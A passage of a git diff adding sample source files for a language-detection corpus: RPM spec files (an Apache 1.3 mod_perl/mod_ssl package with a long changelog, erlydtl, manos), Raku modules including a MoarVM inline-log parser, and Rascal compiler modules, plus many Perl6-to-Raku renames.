+cat $TEMPTYPES > %{_sysconfdir}/mime.types && /bin/rm -f $TEMPTYPES
+
+cp %{_tmppath}/rpm-tmp* /tmp/04post.sh
+
+%pre
+# Add the "apache" user
+/usr/sbin/useradd -c "Apache" -u 48 \
+	-s /sbin/nologin -r -d "%{contentdir}" apache 2> /dev/null || :
+
+%preun
+if [ $1 = 0 ]; then
+	if [ -f /var/lock/subsys/%{pname} ]; then
+		%{_initrddir}/%{pname} stop
+	fi
+	if [ -f %{_initrddir}/%{pname} ]; then
+		/sbin/chkconfig --del %{pname}
+	fi
+fi
+
+%files
+%defattr(-,root,root)
+%dir %{_sysconfdir}/%{pname}
+%dir %{_sysconfdir}/%{pname}/conf
+%config(noreplace) %{_sysconfdir}/%{pname}/conf/*.conf
+%config(noreplace) %{_sysconfdir}/%{pname}/conf/Makefile
+%config(noreplace) %{_sysconfdir}/%{pname}/conf/magic
+%config(noreplace) %{_sysconfdir}/%{pname}/conf/mime.types
+%config(noreplace) %{_sysconfdir}/logrotate.d/*
+%config(noreplace) %{_sysconfdir}/%{pname}/conf/ssl.*
+%doc %{_sysconfdir}/%{pname}/conf/*.default
+%attr(755,root,root) %{_initrddir}/*
+%{_sysconfdir}/%{pname}/logs
+%{_sysconfdir}/%{pname}/modules
+%{_sysconfdir}/%{pname}/run
+%{_libdir}/%{aname}
+%{perl_vendorarch}/Apache
+%{perl_vendorarch}/Bundle
+%{perl_vendorarch}/*.pm
+%{perl_vendorarch}/*.PL
+%dir %{perl_vendorarch}/auto/Apache
+%{perl_vendorarch}/auto/Apache/Leak
+%{perl_vendorarch}/auto/Apache/Symbol
+%{perl_vendorarch}/auto/Apache/mod_perl.exp
+%{perl_vendorarch}/auto/Apache/typemap
+%attr(0755,root,root) %{_bindir}/*
+%attr(0755,root,root) %{_sbindir}/ab
+%attr(0755,root,root) %{_sbindir}/apachectl
+%attr(0755,root,root) %{_sbindir}/httpd13
+%attr(0755,root,root) %{_sbindir}/logresolve
+%attr(0755,root,root) %{_sbindir}/rotatelogs
+%{?_with_suexec:%attr(4710,root,%{suexec_caller}) %{_sbindir}/suexec}
+%{_mandir}/man1*/*
+%{_mandir}/man8/ab.8*
+%{_mandir}/man8/apachectl.8*
+%{_mandir}/man8/httpd.8*
+%{_mandir}/man8/logresolve.8*
+%{_mandir}/man8/rotatelogs.8*
+%{?_with_suexec:%{_mandir}/man8/suexec.8*}
+%attr(0755,apache,root) %dir %{_localstatedir}/cache/%{pname}
+%attr(0640,apache,root) %{_localstatedir}/cache/ssl_*
+%attr(0750,root,apache) %dir %{_localstatedir}/log/%{pname}
+
+
+%files devel
+%defattr(-,root,root)
+%{_includedir}
+%attr(0755,root,root) %{_sbindir}/apxs
+%{_mandir}/man8/apxs.8*
+%doc %{perl_vendorarch}/*.pod
+%{perl_vendorarch}/auto/Apache/include
+
+%files manual
+%defattr(-,root,root)
+%doc apache_%{apache_ver}/cgi-bin
+%dir %{contentdir}
+%dir %{contentdir}/cgi-bin
+%config(noreplace) %{contentdir}/cgi-bin/*
+%dir %{contentdir}/html
+%config(noreplace) %{contentdir}/html/*.html*
+%config(noreplace) %{contentdir}/html/*.gif
+%dir %{contentdir}/icons
+%dir %{contentdir}/icons/small
+%config(noreplace) %{contentdir}/icons/*.*
+%config(noreplace) %{contentdir}/icons/small/*.*
+%doc %{contentdir}/icons/README
+
+%doc apache_%{apache_ver}/{ABOUT_APACHE,LICENSE*,NOTICE,README*,cgi-bin}
+%doc apache_%{apache_ver}/src/{CHANGES,README}*
+%doc mod_ssl-%{mod_ssl_ver}-%{apache_ver}/README.*
+%doc mod_ssl-%{mod_ssl_ver}-%{apache_ver}/NEWS
+%doc mod_perl-%{mod_perl_ver}/mod_perl-doc
+%doc SSL-Certificate-Creation
+
+%doc %{contentdir}/html/manual
+%exclude %{contentdir}/html/manual/mod/mod_ssl/ssl_cover.wml
+#man3 conflicts with mod_perl2
+/usr/share/man/man3*/*
+
+
+%changelog
+* Sun May 13 2012 Sérgio Basto <sergio@serjux.com> - 1.3.42-4
+- Many improvements on defaults directories 
+- Separate libapreq in other package, to compile libapreq is need other sources installed. 
+- more cleanups.
+
+* Wed Nov 16 2011 Sérgio Basto <sergio@serjux.com>
+- build for F16
+- mp1+perl5.14.diff (mod_perl1 + perl5.14)
+- many improvents.
+
+* Sat Oct 29 2011 Sérgio Basto <sergio@serjux.com>
+- mock build add many buildrequires
+- many improvemts on confs 
+
+* Tue Oct 16 2007 Sérgio Basto <sergio@serjux.com>
+- UNDROPPED CONFIGURATION COMPLETELY: rpm it suposed do all alone.
+- rename httpd to http13 to work independently of apache 2.2
+- add patch to Makefile.tmp, resolve all problems at once
+- change server port number to run out of the box.
+- Update link to certs/Makefile.
+
+* Tue Sep 11 2007 Marius FERARU <altblue@n0i.net> - 1.3.39-1.n0i.23.MPSSL
+- apache 1.3.39
+- mod_ssl 2.8.29
+
+* Mon Apr 02 2007 Marius FERARU <altblue@n0i.net> - 1.3.37-3.n0i.22.MPSSL
+- mod_perl 1.30
+- initscript: use a "$pidfile" variable for all operations
+- initscript: added a dummy "alias" for "reload" (will do a 'restart'!)
+- initscript: added missing "fullstatus" option (will run through "apachectl")
+- dropped shellbang from .exp files
+- dropped 2 explicit provides (mod_perl and Apache::Constants)
+
+* Fri Sep 08 2006 Marius FERARU <altblue@n0i.net> - 1.3.37-2.n0i.21.MPSSL
+- BR: gdbm-devel, db4-devel
+
+* Mon Aug 21 2006 Marius FERARU <altblue@n0i.net> - 1.3.37-1.n0i.20.MPSSL
+- apache 1.3.37
+- mod_ssl 2.8.28
+- Dist macro
+- URL update
+- updated description
+- spec cleanups
+- use "--with backtrace" to activate "mod_backtrace"
+- use "--with whatkilledus" to activate "mod_whatkilledus"
+- use "--with suexec" to activate suexec functionality
+- moved default web content into documentation package
+
+* Tue Jun 06 2006 Marius FERARU <altblue@n0i.net> - 1.3.36-2.n0i.19.MPSSL
+- changed "runtimedir" and "logfiledir" to relative paths,
+  letting users run apache on their own
+
+* Tue Jun 06 2006 Marius FERARU <altblue@n0i.net> - 1.3.36-1.n0i.19.MPSSL
+- apache 1.3.36
+- mod_ssl version 2.8.27
+- spec cleanups
+
+* Mon Mar 13 2006 Marius FERARU <altblue@n0i.net> - 1.3.34-2.n0i.18.MPSSL
+- rebuild
+
+* Thu Nov 24 2005 Marius FERARU <altblue@n0i.net> 1.3.34-1.n0i.17.MPSSL
+- apache 1.3.34
+- mod_ssl version 2.8.25
+
+* Tue Sep 20 2005 Marius FERARU <altblue@n0i.net> 1.3.33-5.n0i.16.MPSSL
+- mod_ssl version 2.8.24
+
+* Fri Sep 02 2005 Marius FERARU <altblue@n0i.net> 1.3.33-4.n0i.15.MPSSL
+- rebuild
+- dropped more requirements (which Fedora considers to "always have")
+
+* Sat Jul 23 2005 Marius FERARU <altblue@n0i.net> 1.3.33-3.n0i.14.MPSSL
+- dropped Epoch
+- changed Summary and Description
+- rebuild (perl 5.8.7)
+
+* Tue Jan 04 2005 Marius FERARU <altblue@n0i.net> 1.3.33-2.n0i.13.MPSSL
+- libapreq version 1.33
+
+* Mon Dec 06 2004 Marius FERARU <altblue@n0i.net> 1.3.33-1.n0i.12.MPSSL
+- apache version 1.3.33
+- mod_ssl version 2.8.22
+- description update
+
+* Tue Aug 17 2004 Marius FERARU <altblue@n0i.net> 1.3.31-5.n0i.11.MPSSL
+- mod_ssl version 2.8.19
+
+* Thu Jul 15 2004 Marius FERARU <altblue@n0i.net> 1.3.31-4.n0i.10.MPSSL
+- mod_ssl version 2.8.18
+
+* Tue Jul 13 2004 Marius FERARU <altblue@n0i.net> 1.3.31-3.n0i.9.MPSSL
+- tweaked rotatelog's build: drop linking with apache libs
+
+* Tue Jul 13 2004 Marius FERARU <altblue@n0i.net> 1.3.31-2.n0i.8.MPSSL
+- applied some fixing patches from current CVS version
+
+* Thu May 13 2004 Marius FERARU <altblue@n0i.net> 1.3.31-1.n0i.7.MPSSL
+- apache version 1.3.31
+- mod_ssl version 2.8.17
+- updated apxs patch
+- slight spec tweaks
+- enabled backtrace experimental module
+- updated config patch
+
+* Fri Apr 30 2004 Marius Feraru <altblue@n0i.net> 1.3.29-6.n0i.6.MPSSL
+- automatic rebuild
+
+* Thu Apr 22 2004 Marius FERARU <altblue@n0i.net> 1.3.29-5.n0i.5.MPSSL
+- rebuild (perl 5.8.4)
+
+* Tue Feb 10 2004 Marius FERARU <altblue@n0i.net> 1.3.29-4.n0i.4.MPSSL
+- fixed the shameful bugs from my httpd.init script
+
+* Fri Jan 23 2004 Marius FERARU <altblue@n0i.net> 1.3.29-3.n0i.3.MPSSL
+- rebuild (perl 5.8.3)
+
+* Fri Jan 16 2004 Marius FERARU <altblue@n0i.net> 1.3.29-2.n0i.2.MPSSL
+- rebuilt on perl 5.8.2 / Fedora 1 Devel (tobe FC2)
+- finally clearly enabled modperl.c in apache_1.3.23-config.patch
+as many helpless people seem to use this dumb default configuration file :(
+- also updated the same patch to properly define SSL too :)
+- added a lame "MPSSL" extra tag in release to make people understand this
+is a !SPECIAL! apache + mod_perl + mod_ssl + libapreq package suite!!!
+- updated init script to do "real" server shutdown (in squid style) and to NOT
+shutdown all the apache servers, just the one started with /var/run/httpd.pid
+- added USE_MODULEARGS=[yes/no] and SHUTDOWN_TIMEOUT=[seconds] configuration
+parameters to init script
+
+* Thu Nov 13 2003 Marius FERARU <altblue@n0i.net> 1.3.29-1.n0i.1
+- apache 1.3.29
+- modssl 2.8.16
+- dropped zombie patch
+- dropped fderr patch
+- dropped for good thttpd conflict note as THERE IS NO CONFLICT!!! In fact
+we really use them both for long time without a problem :))
+- added more Prereq stuff
+- more Fedora style spec updates
+
+* Thu Oct 16 2003 Marius FERARU <altblue@n0i.net> 1.3.28-2.n0i
+- mod_perl 1.29
+- libapreq 1.3
+- replaced ALL direct 'etc' occurences to macros (some for other stuff)
+- perl %%files are now more properly quested.
+- switched krb5-config to pkg-config
+- switched textutils to coreutils
+- using mm 1.3
+- disabled internal expat linking
+- added the 'zombie' patch
+- added the 'file descriptors are erroneously closed' patch
+
+* Mon Jul 28 2003 Marius FERARU <altblue.net> 1.3.28-1.n0i
+- mod_perl 1.28
+- added builtin libapreq
+
+* Fri Jul 25 2003 Marius FERARU <altblue@n0i.net> 1.3.28-0.n0i
+- apache version 1.3.28
+- mod_ssl version 2.8.15
+- switched the old dbm-gdbm patch with a more elegant one (apache_1.3.27-db);
+yet, more tests are to be done on other systems before dropping the old one
+from our src.rpm
+- disabled suexec SSL env support patch as Apache ppl changed their code heavily
+and I do not yet have time to update this patch
+- moved mod_perl header files into apache-devel (are they needed by someone?!)
+- dropped using RPM_SOURCE_DIR/<filename> stuff.
+- disabled auth_db module (db4 API changes?!)
+
+* Mon Apr 21 2003 Marius FERARU <altblue@n0i.net> 1.3.27-2.n0i
+- automatic rebuild on RHL9
+
+* Wed Mar 26 2003 Marius FERARU <altblue@n0i.net> 1.3.27-1.n0i
+- mod_ssl version 2.8.14
+- dropped thttpd conflict note as THERE IS NO CONFLICT!!! In fact we really
+use them both :))
+
+* Fri Oct 18 2002 Marius Feraru <altblue@n0i.net>
+- apache version 1.3.27
+- mod_ssl version 2.8.11
+- eliminated db4 patch
+- disabled thttpd conflict flag
+
+* Tue Sep 24 2002 Marius Feraru <altblue@n0i.net>
+- automatic rebuild (to conform with the openssl update)
+
+* Wed Sep  4 2002 Marius Feraru <altblue@n0i.net>
+- some spec cleanups (rpm 4.1.x compatibility)
+
+* Tue Jul 23 2002 Marius FERARU <altblue@n0i.net>
+- apache 1.3.26
+- mod_perl 1.27
+- mod_ssl 2.8.10
+- lots of new tweaks to the spec file (hopefully it will be easier now for others to
+rebuild this package =] )
+
+
+* Sat Sep 1 2001 Marius FERARU <altblue@n0i.net>
+- updated apache to 1.3.22
+- reparsed and tweaked all RedHat patches
+- lots of spec file tweaks: optimisations,
+  file location/integration/modes fixes...
+
+* Sat Sep 1 2001 Marius FERARU <altblue@n0i.net>
+- updated mod_perl to version 1.26
+- based on apache-1.3.20-15.src.rpm from Red Hat RawHide
+- used apache_modperl-1.3.19-1.24-1.src.rpm from
+  perl.apache.org as example spec.
diff --git a/samples/RPM Spec/erlang-erlydtl.spec b/samples/RPM Spec/erlang-erlydtl.spec
new file mode 100644
index 0000000000..eea3fb2b3e
--- /dev/null
+++ b/samples/RPM Spec/erlang-erlydtl.spec	
@@ -0,0 +1,62 @@
+%global debug_package %{nil}
+
+Name:           erlang-erlydtl
+Version:        0.6.0
+Release:        1%{?dist}
+Summary:        Erlang implementation of the Django Template Language.
+
+Group:          Development/Libraries
+License:        MIT
+URL:            http://code.google.com/p/erlydtl/
+Source0:        http://erlydtl.googlecode.com/files/erlydtl-0.6.0.tar.gz
+Patch0:         erlang-erlydtl-0.6.0-tests.patch
+Patch1:         erlang-erlydtl-0.6.0-r14a.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+Provides:       ErlyDTL = %{version}-%{release}
+BuildRequires:  erlang
+Requires:       erlang
+
+%description
+ErlyDTL is an Erlang implementation of the Django Template Language. The
+erlydtl module compiles Django Template source code into Erlang bytecode. The
+compiled template has a "render" function that takes a list of variables and
+returns a fully rendered document
+
+%prep
+%setup -q -n erlydtl-%{version}
+find examples/ -type f -executable -exec chmod -x {} \;
+
+%patch0 -p0
+%patch1 -p0
+
+%build
+make %{?_smp_mflags}
+
+%check
+make test
+
+
+%install
+rm -rf %{buildroot}
+mkdir -p %{buildroot}/%{_libdir}/erlang/lib/erlydtl-%{version}/
+cp -r ebin     %{buildroot}/%{_libdir}/erlang/lib/erlydtl-%{version}/
+cp -r bin      %{buildroot}/%{_libdir}/erlang/lib/erlydtl-%{version}/
+cp -r priv     %{buildroot}/%{_libdir}/erlang/lib/erlydtl-%{version}/
+
+
+%clean
+rm -rf %{buildroot}
+
+
+%files
+%defattr(-,root,root,-)
+%dir %{_libdir}/erlang/lib/erlydtl-%{version}  
+%{_libdir}/erlang/lib/erlydtl-%{version}/*
+%doc README
+%doc examples
+
+
+%changelog
+* Sun Aug 1 2010 Ilia Cheishvili <ilia.cheishvili@gmail.com> - 0.6.0-1
+- Initial Package
diff --git a/samples/RPM Spec/manos.spec b/samples/RPM Spec/manos.spec
new file mode 100644
index 0000000000..5674d3ce6c
--- /dev/null
+++ b/samples/RPM Spec/manos.spec	
@@ -0,0 +1,46 @@
+#
+# spec file for package manos
+#
+# Copyright (c) 2010 Jackson Harper (jackson@novell.com)
+#
+#
+
+Name:           manos-devel
+Version:        0.1.1
+Release:        1
+License:        MIT/X11
+BuildRoot:      %{_tmppath}/manos-%{version}-build
+BuildRequires:  mono-devel >= 2.6
+BuildRequires:  mono-nunit >= 2.6
+Source0:        manos-%{version}.tar.bz2
+Source1:        rpmlintrc
+Summary:        The Manos Web Application Framework
+Group:          Development/Web/Servers
+BuildArch:      noarch
+
+%description
+Manos is an easy to use, easy to test, high performance web application framework that stays out of your way and makes your life ridiculously simple.
+
+%files
+%defattr(-, root, root)
+%{_prefix}/lib/manos
+%{_bindir}/manos
+%{_datadir}/manos
+%{_prefix}/lib/pkgconfig/manos.pc
+%{_datadir}/man/man1/manos.1.gz
+
+%prep
+%setup -q -n manos-%{version}
+
+
+%build
+./configure --prefix=%{buildroot}%{_prefix} --install-prefix=%{_prefix}
+make
+
+%install
+make install
+
+%clean
+rm -rf %{buildroot}
+
+%changelog
\ No newline at end of file
diff --git a/samples/Ragel in Ruby Host/ephemeris_parser.rl b/samples/Ragel/ephemeris_parser.rl
similarity index 100%
rename from samples/Ragel in Ruby Host/ephemeris_parser.rl
rename to samples/Ragel/ephemeris_parser.rl
diff --git a/samples/Ragel in Ruby Host/simple_scanner.rl b/samples/Ragel/simple_scanner.rl
similarity index 100%
rename from samples/Ragel in Ruby Host/simple_scanner.rl
rename to samples/Ragel/simple_scanner.rl
diff --git a/samples/Ragel in Ruby Host/simple_tokenizer.rl b/samples/Ragel/simple_tokenizer.rl
similarity index 100%
rename from samples/Ragel in Ruby Host/simple_tokenizer.rl
rename to samples/Ragel/simple_tokenizer.rl
diff --git a/samples/Perl6/01-dash-uppercase-i.t b/samples/Raku/01-dash-uppercase-i.t
similarity index 100%
rename from samples/Perl6/01-dash-uppercase-i.t
rename to samples/Raku/01-dash-uppercase-i.t
diff --git a/samples/Perl6/01-parse.t b/samples/Raku/01-parse.t
similarity index 100%
rename from samples/Perl6/01-parse.t
rename to samples/Raku/01-parse.t
diff --git a/samples/Perl6/A.pm b/samples/Raku/A.pm
similarity index 100%
rename from samples/Perl6/A.pm
rename to samples/Raku/A.pm
diff --git a/samples/Perl6/ANSIColor.pm b/samples/Raku/ANSIColor.pm
similarity index 100%
rename from samples/Perl6/ANSIColor.pm
rename to samples/Raku/ANSIColor.pm
diff --git a/samples/Perl6/Bailador.pm b/samples/Raku/Bailador.pm
similarity index 100%
rename from samples/Perl6/Bailador.pm
rename to samples/Raku/Bailador.pm
diff --git a/samples/Perl6/ContainsUnicode.pm b/samples/Raku/ContainsUnicode.pm
similarity index 100%
rename from samples/Perl6/ContainsUnicode.pm
rename to samples/Raku/ContainsUnicode.pm
diff --git a/samples/Perl6/Exception.pm b/samples/Raku/Exception.pm
similarity index 100%
rename from samples/Perl6/Exception.pm
rename to samples/Raku/Exception.pm
diff --git a/samples/Perl6/List.pm b/samples/Raku/List.pm
similarity index 100%
rename from samples/Perl6/List.pm
rename to samples/Raku/List.pm
diff --git a/samples/Perl6/Model.pm b/samples/Raku/Model.pm
similarity index 100%
rename from samples/Perl6/Model.pm
rename to samples/Raku/Model.pm
diff --git a/samples/Perl6/RoleQ.pm6 b/samples/Raku/RoleQ.pm6
similarity index 100%
rename from samples/Perl6/RoleQ.pm6
rename to samples/Raku/RoleQ.pm6
diff --git a/samples/Raku/SIL.rakumod b/samples/Raku/SIL.rakumod
new file mode 100644
index 0000000000..faf765c662
--- /dev/null
+++ b/samples/Raku/SIL.rakumod
@@ -0,0 +1,164 @@
+# This module exports a single subroutine named "SIL" (for Spesh Inline Log).
+# When this sub is called, returns a MoarVM::SIL object that can be queried
+# for the result of the Spesh Inline Log for the executed program.  Or it
+# returns Nil when it is being run inside the program producing the Spesh
+# Inline Log.
+#
+# When introspection of the SIL object is done, the "exit" method should be
+# called on the object to prevent the code of the program actually running
+# twice.
+# 
+# A typical use case would be:
+#
+#  use MoarVM::SIL;
+#
+#  if SIL() -> $SIL {
+#      LEAVE $SIL.exit;
+#
+#      # do testing, or just show the report:
+#      say $SIL.report;
+#  }
+
+class BB {
+    has Str() $.name is built(:bind);
+    has Int() $.id   is built(:bind);
+    has Int() $.size is built(:bind);
+
+    method name() {
+        $!name ?? "$!name BB($!id)" !! "BB($!id)"
+    }
+
+    method gist() { self.Str }
+    method Str() {
+        $!size ?? "$.name.chop(), $!size bytes)" !! $.name
+    }
+    method WHICH(--> ValueObjAt:D) {
+        ValueObjAt.new("BB|$!id")
+    }
+}
+
+class Inlined {
+    has BB $.inlinee is built(:bind);
+    has BB $.into    is built(:bind);
+
+    method gist() { self.Str }
+    method Str() { "$!inlinee -> $!into" }
+    method WHICH(--> ValueObjAt:D) {
+        ValueObjAt.new("BB|$!inlinee.WHICH()|$!into.WHICH()")
+    }
+}
+
+class Not-Inlined {
+    has BB    $.frame  is built(:bind);
+    has BB    $.target is built(:bind);
+    has Str() $.reason is built(:bind);
+
+    method gist() { self.Str }
+    method Str() { "$!frame -> $!target:\n      $!reason" }
+    method WHICH(--> ValueObjAt:D) {
+        ValueObjAt.new("BB|$!frame.WHICH()|$!target.WHICH()")
+    }
+}
+
+class MoarVM::SIL {
+    has Bag $.inlineds     is built(:bind);
+    has Bag $.not-inlineds is built(:bind);
+    has Int $status        is built(:bind);
+
+    method sink() { say self.report }
+    method report() {
+        my str @lines;
+
+        @lines.push: "Spesh Inline Log Report of Process #$*PID ({
+            now.DateTime.truncated-to('second')
+        })";
+        @lines.push: "";
+
+        @lines.push: "Successful inlines";
+        @lines.push: "-" x 80;
+        @lines.push("{
+            $_ == 1 ?? '   ' !! .fmt('%2dx') given $!inlineds{$_}
+        } $_.gist()") for $!inlineds.keys.sort: +*.inlinee.id;
+        @lines.push: "-" x 80;
+
+        @lines.push: "";
+        @lines.push: "Unsuccessful inlines:";
+        @lines.push: "-" x 80;
+        @lines.push("{
+            $_ == 1 ?? '   ' !! .fmt('%2dx') given $!not-inlineds{$_}
+        } $_.gist()") for $!not-inlineds.keys.sort: +*.frame.id;
+        @lines.push: "-" x 80;
+
+        @lines.join("\n");
+    }
+
+    method inlined-by-name($name) {
+        $!inlineds.keys.grep: *.name eq $name
+    }
+
+    method not-inlined-by-name($name) {
+        $!not-inlineds.keys.grep: *.name eq $name
+    }
+
+    method gist() { self.report }
+    method Str()  { self.report }
+
+    method exit() { exit $!status }
+}
+
+sub SIL is export {
+
+    my $proc := Rakudo::Internals.RERUN-WITH(MVM_SPESH_INLINE_LOG => 1);
+    return Nil unless $proc;
+
+    my $out := $*OUT;
+    my $err := $*ERR;
+    my @inlineds;
+    my @not-inlineds;
+    my $status;
+
+    react {
+        whenever $proc.stdout.lines {
+            $out.say($_);
+        }
+        whenever $proc.stderr.lines {
+            if m/^ 'Can inline ' (<-[(]>+)
+                   '(' (\d+)
+                   ') with bytecode size ' (\d+)
+                   ' into ' (<-[(]>+)
+                   '(' (\d+) /
+            {
+                @inlineds.push: Inlined.new:
+                  inlinee => BB.new(name => $0.chop, id => $1, size => $2),
+                  into    => BB.new(name => $3.chop, id => $4);
+
+            }
+            elsif m/^ 'Can NOT inline ' (<-[(]>+)
+                   '(' (\d+)
+                   ') with bytecode size ' (\d+)
+                   ' into ' (<-[(]>+)
+                   '(' (\d+) 
+                   '): ' (.*) /
+            {
+                @not-inlineds.push: Not-Inlined.new:
+                  frame  => BB.new(name => $0.chop, id => $1, size => $2),
+                  target => BB.new(name => $3.chop, id => $4),
+                  reason => $5;
+            }
+            else {
+                $err.say($_);
+            }
+        }
+        whenever $proc.start(:%*ENV) {
+            $status = .exitcode;
+        }
+    }
+
+    MoarVM::SIL.new(
+      inlineds     => @inlineds.Bag,
+      not-inlineds => @not-inlineds.Bag,
+      status       => $status,
+    )
+}
+
+# vim: expandtab shiftwidth=4
diff --git a/samples/Perl6/Simple.pm b/samples/Raku/Simple.pm
similarity index 100%
rename from samples/Perl6/Simple.pm
rename to samples/Raku/Simple.pm
diff --git a/samples/Perl6/Win32.pm b/samples/Raku/Win32.pm
similarity index 100%
rename from samples/Perl6/Win32.pm
rename to samples/Raku/Win32.pm
diff --git a/samples/Perl6/advent2009-day16.t b/samples/Raku/advent2009-day16.t
similarity index 100%
rename from samples/Perl6/advent2009-day16.t
rename to samples/Raku/advent2009-day16.t
diff --git a/samples/Perl6/basic-open.t b/samples/Raku/basic-open.t
similarity index 100%
rename from samples/Perl6/basic-open.t
rename to samples/Raku/basic-open.t
diff --git a/samples/Perl6/calendar.t b/samples/Raku/calendar.t
similarity index 100%
rename from samples/Perl6/calendar.t
rename to samples/Raku/calendar.t
diff --git a/samples/Raku/dynaver.raku b/samples/Raku/dynaver.raku
new file mode 100644
index 0000000000..8e92c3c061
--- /dev/null
+++ b/samples/Raku/dynaver.raku
@@ -0,0 +1,19 @@
+#`[
+  Describes a 4-digit version number.
+]
+grammar dynaver {
+    rule TOP { <number> <identifier>? <metadata>? }
+    
+    token number { ( <digit>+ ) "." ( <digit>+ ) [ "." ( <digit>+ ) [ "." ( <digit>+ ) ]? ]? }
+    token identifier { [ <pre> <post>? | <post> <pre>? ] }
+    token metadata { '+' ( <metadata_char>+ ) }
+    
+    token pre  { "-" ( <pre_char>+ ) }
+    token post { "_" ( <post_char>+ ) }
+    
+    token pre_char { <[a..zA..Z0..9.-]> }
+    token post_char { <[a..zA..Z0..9._]> }
+    token metadata_char { <[a..zA..Z0..9._-]> }
+    
+    token digit { \d } #built-in
+}
diff --git a/samples/Perl6/for.t b/samples/Raku/for.t
similarity index 100%
rename from samples/Perl6/for.t
rename to samples/Raku/for.t
diff --git a/samples/Perl6/grammar-test.p6 b/samples/Raku/grammar-test.p6
similarity index 100%
rename from samples/Perl6/grammar-test.p6
rename to samples/Raku/grammar-test.p6
diff --git a/samples/Perl6/hash.t b/samples/Raku/hash.t
similarity index 100%
rename from samples/Perl6/hash.t
rename to samples/Raku/hash.t
diff --git a/samples/Perl6/htmlify.pl b/samples/Raku/htmlify.pl
similarity index 100%
rename from samples/Perl6/htmlify.pl
rename to samples/Raku/htmlify.pl
diff --git a/samples/Perl6/listquote-whitespace.t b/samples/Raku/listquote-whitespace.t
similarity index 100%
rename from samples/Perl6/listquote-whitespace.t
rename to samples/Raku/listquote-whitespace.t
diff --git a/samples/Perl6/man-or-boy.t b/samples/Raku/man-or-boy.t
similarity index 100%
rename from samples/Perl6/man-or-boy.t
rename to samples/Raku/man-or-boy.t
diff --git a/samples/Perl6/test.p6 b/samples/Raku/test.p6
similarity index 100%
rename from samples/Perl6/test.p6
rename to samples/Raku/test.p6
diff --git a/samples/Rascal/Analyze.rsc b/samples/Rascal/Analyze.rsc
new file mode 100644
index 0000000000..3a56a2d424
--- /dev/null
+++ b/samples/Rascal/Analyze.rsc
@@ -0,0 +1,10 @@
+module Analyze
+
+import Syntax;
+
+set[Id] unreachable(Machine m) {
+  r = { <q1,q2> | (State)`state <Id q1> <Trans* ts>` <- m.states, 
+				  (Trans)`<Id _>: <Id q2>` <- ts }+;
+  qs = [ q.name | /State q := m ];
+  return { q | q <- qs, q notin r[qs[0]] };
+}
diff --git a/samples/Rascal/Compile.rsc b/samples/Rascal/Compile.rsc
new file mode 100644
index 0000000000..2ebe7659f9
--- /dev/null
+++ b/samples/Rascal/Compile.rsc
@@ -0,0 +1,18 @@
+module Compile
+
+import Syntax;
+
+str compile(Machine m) =
+  "while (true) {
+  '  event = input.next();
+  '  switch (current) { 
+  '    <for (q <- m.states) {>
+  '    case \"<q.name>\":
+  '      <for (t <- q.out) {>
+  '      if (event.equals(\"<t.event>\"))
+  '        current = \"<t.to>\";
+  '      <}>
+  '      break;
+  '    <}>
+  '  }
+  '}"; 
diff --git a/samples/Rascal/ModuleInfo.rsc b/samples/Rascal/ModuleInfo.rsc
new file mode 100644
index 0000000000..1d61dd751f
--- /dev/null
+++ b/samples/Rascal/ModuleInfo.rsc
@@ -0,0 +1,137 @@
+module lang::rascalcore::compile::Rascal2muRascal::ModuleInfo
+
+//import IO;
+import List;
+import lang::rascalcore::compile::muRascal::AST;
+import lang::rascalcore::compile::Rascal2muRascal::TmpAndLabel;
+import Grammar;
+
+ // Global state maintained when translating a Rascal module
+
+private str module_name;							//  name of current module
+private map[str,str] module_tags;                   // tags of current module;
+private list[str] imported_modules = [];			// modules imported by current module
+private list[str] extended_modules = [];			// modules extended by current module
+private list[MuFunction] functions_in_module = [];	// functions declared in current module
+private list[MuModuleVar] variables_in_module = [];	// variables declared in current module
+private list[MuExp] variable_initializations = [];	// initialized variables declared in current module
+
+private set[str] overriddenLibs = {};				// Java libraries overriden for compiler
+private set[str] notOverriddenLibs = {};			// Java libraries not overridden for compiler
+
+private bool optimize = true;
+private bool checkAsserts = true;
+
+// Access functions
+
+bool optimizing() = optimize;
+
+bool assertsEnabled() = checkAsserts;
+
+public set[str] getOverriddenlibs(){
+	return overriddenLibs;
+}
+ 
+public void addOverriddenLib(str lib){
+	overriddenLibs += lib;
+}
+
+public set[str] getNotOverriddenlibs(){
+	return notOverriddenLibs;
+}
+
+public void addNotOverriddenLib(str lib){
+	notOverriddenLibs += lib;
+}
+
+public void setModuleName(str name){
+	module_name = name;
+}
+
+public str getModuleName() = module_name;
+
+public void setModuleTags(map[str,str] mtags){
+    module_tags = mtags;
+}
+
+map[str,str] getModuleTags(){
+    return module_tags;
+}
+
+public void addImportToModule(str moduleName){
+	imported_modules += moduleName;
+}
+
+public list[str] getImportsInModule(){
+	return imported_modules;
+}
+
+public void addExtendToModule(str moduleName){
+	extended_modules += moduleName;
+}
+
+public list[str] getExtendsInModule(){
+	return extended_modules;
+}
+
+public list[MuFunction] getFunctionsInModule() {
+  	//println("getFunctionsInModule:");for(fun <- functions_in_module){ println("\t<fun.uniqueName>, <fun.scopeIn>"); }
+	return functions_in_module;
+}
+
+public void addFunctionToModule(MuFunction fun) {
+   functions_in_module += [fun];
+}
+
+public void addFunctionsToModule(list[MuFunction] funs) {
+   if(size(funs) > 0){
+   		//println("addFunctionsToModule [<size(funs)>]: <for(fun <- funs){><fun.qname>, \"<fun.scopeIn>\" <}>");
+   
+   		functions_in_module += funs;
+   
+   		//for(f <- functions_in_module){ println("\t<f.qname>, \"<f.scopeIn>\""); }
+   }
+}
+
+public void setFunctionsInModule(list[MuFunction] funs) {
+   //println("setFunctionsInModule: <for(f <- funs){><f.qname>, \"<f.scopeIn>\" <}>");
+   
+   functions_in_module = funs;
+   
+   //for(f <- functions_in_module){	println("\t<f.qname>, \"<f.scopeIn>\""); }
+}
+
+public void addVariableToModule(MuModuleVar muVar){
+	variables_in_module += [muVar];
+}
+
+public list[MuModuleVar] getVariablesInModule(){
+	return variables_in_module;
+}
+
+
+public void addVariableInitializationToModule(MuExp exp){
+	variable_initializations += [exp];
+}
+
+public list[MuExp] getVariableInitializationsInModule(){
+	return variable_initializations;
+}
+
+// Reset global state
+
+void resetModuleInfo(bool optimize_flag, bool enableAsserts_flag) {
+
+    optimize = optimize_flag;
+    checkAsserts = enableAsserts_flag;
+ 	module_name = "** undefined **";
+ 	module_tags = ("***":"+++");
+    imported_modules = [];
+    extended_modules = [];
+	functions_in_module = [];
+	variables_in_module = [];
+	variable_initializations = [];
+	resetTmpAndLabel();
+	overriddenLibs = {};
+    notOverriddenLibs = {};
